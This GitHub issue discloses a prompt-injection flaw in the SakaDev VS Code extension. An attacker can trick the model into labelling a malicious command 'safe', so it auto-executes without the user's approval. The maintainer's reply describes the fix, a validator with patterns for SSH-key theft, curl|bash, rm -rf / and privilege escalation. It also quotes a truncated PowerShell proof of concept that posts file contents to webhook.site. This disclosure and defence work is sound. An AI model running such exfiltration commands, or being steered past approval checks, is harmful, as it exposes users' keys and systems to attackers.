New issue

SakaDev Remote Code Execution Vulnerability #4

Open

Secsys-FDU opened on Dec 11, 2025 · edited by Secsys-FDU Edits Owner

Vendor of the product(s)：SakaDev
Affected Product: SakaDev (https://marketplace.visualstudio.com/items?itemName=rahmanazhar.saka-dev)
Affected Version：<= 4.0.5
Attack Type：Remote
Impact：Code Execution
Affected component：Tool Call Parser, Command Validation Logic, Auto-Execution Module

Description
In its design for automatic terminal command execution, SakaDev offers two options: Execute safe commands and Execute all commands. The description for the former states that commands determined by the model to be safe will be automatically executed, whereas if the model judges a command to be potentially destructive, it still requires user approval. However, this design is highly susceptible to prompt injection attacks. An attacker can employ a generic template to wrap any malicious command and mislead the model into misclassifying it as a 'safe' command, thereby bypassing the user approval requirement and resulting in arbitrary command execution.

rahmanazhar on Dec 13, 2025

Security Vulnerability - Fixed in v4.0.6

Thank you for reporting this critical security vulnerability. We have successfully addressed the prompt injection issue in **SakaDev v4.0.6**.

Summary of Fix

We implemented a comprehensive defense-in-depth solution that addresses the core vulnerability and prevents similar attacks:

1. Server-Side Security Validation

- Created `CommandSecurityValidator` module that runs independently of LLM classification
- Cannot be bypassed by prompt injection attacks
- Enforces hardened security policies through pattern-based detection

2. Security Override Mechanism

```
// LLM classification (can be manipulated by prompt injection)
const requiresApprovalPerLLM = llmOutput.requires_approval

// Server-side validation (cannot be bypassed)
const securityValidation = CommandSecurityValidator.validateCommand(command)

// Final decision uses the stricter of the two
const requiresApprovalActual = requiresApprovalPerLLM || securityValidation.requiresApproval
```

3. Pattern-Based Detection

The validator detects and blocks:

Critical Patterns (always require approval):

- SSH key exfiltration (`~/.ssh/id_*`)
- Network data exfiltration (curl/wget with sensitive files)
- Remote code execution (`curl | bash`, `iex (iwr)`)
- Command injection (`;`, `&&`, `|` chaining)
- Destructive operations (`rm -rf /`, `format C:`)
- Privilege escalation (`sudo su`, `sudo passwd`)

Suspicious Patterns (require approval):

- Package installation/removal
- File system modifications
- Network POST/PUT operations
- System configuration changes

Safe Patterns (can auto-approve):

- Read-only operations (`cat`, `ls`, `grep`)

- Version checks (`node --version`)
- Development builds (`npm run build`)
- Git read operations (`git status`)

4. Enhanced User Protection

- Security warnings displayed for dangerous commands
- Audit logging for security override decisions
- Detailed issue reporting in approval dialogs

Verification

Your specific POC attack is now blocked:

```
powershell -c "iwr -Uri https://webhook.site/... -Method Post -Body (Get-Content $env:U
```

Result:

- ✅ Flagged as `dangerous`
- ✅ Requires explicit user approval (even if LLM says `requires_approval=false`)
- ✅ Security warning displayed to user
- ✅ Detected issues: ["Accessing SSH private keys", "PowerShell file exfiltration attempt"]

Testing

Comprehensive test suite with 20 automated tests:

- POC attack blocking ✅
- SSH key exfiltration prevention ✅
- Remote code execution blocking ✅
- Command injection prevention ✅
- Safe command allowance ✅
- Prompt injection resistance ✅

All tests pass successfully.

Implementation Details

Files Changed:

- `src/core/security/CommandSecurityValidator.ts` (new) - Security validation module
- `src/core/task/tools/handlers/ExecuteCommandToolHandler.ts` (modified) - Integration

- Comprehensive documentation and test suite added

Key Principle: Never trust AI-generated security classifications. Server-side validation is authoritative and cannot be circumvented by prompt injection.

Release Information

- **Fixed in Version**: 4.0.6
- **Release Date**: December 13, 2025
- **Severity**: Critical
- **CVE**: Pending assignment

User Recommendations

Immediate Actions:

1. Update to v4.0.6 immediately
2. Review command execution history for suspicious activity
3. Rotate SSH keys if compromise is suspected
4. Check for unusual network connections in recent terminal history

Best Practices:

- Use "Execute safe commands" mode instead of "Execute all commands"
- Always review security warnings before approving commands
- Be suspicious of system-like prompts in user messages

Acknowledgment

Thank you again for the responsible disclosure. This vulnerability could have had serious implications, and your detailed report (including the POC) was instrumental in developing a comprehensive fix.

The security of our users is our top priority. If you discover any other security issues, please report them through the same channel.

Status: ✅ Fixed and Verified
Available: VS Code Marketplace (v4.0.6)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants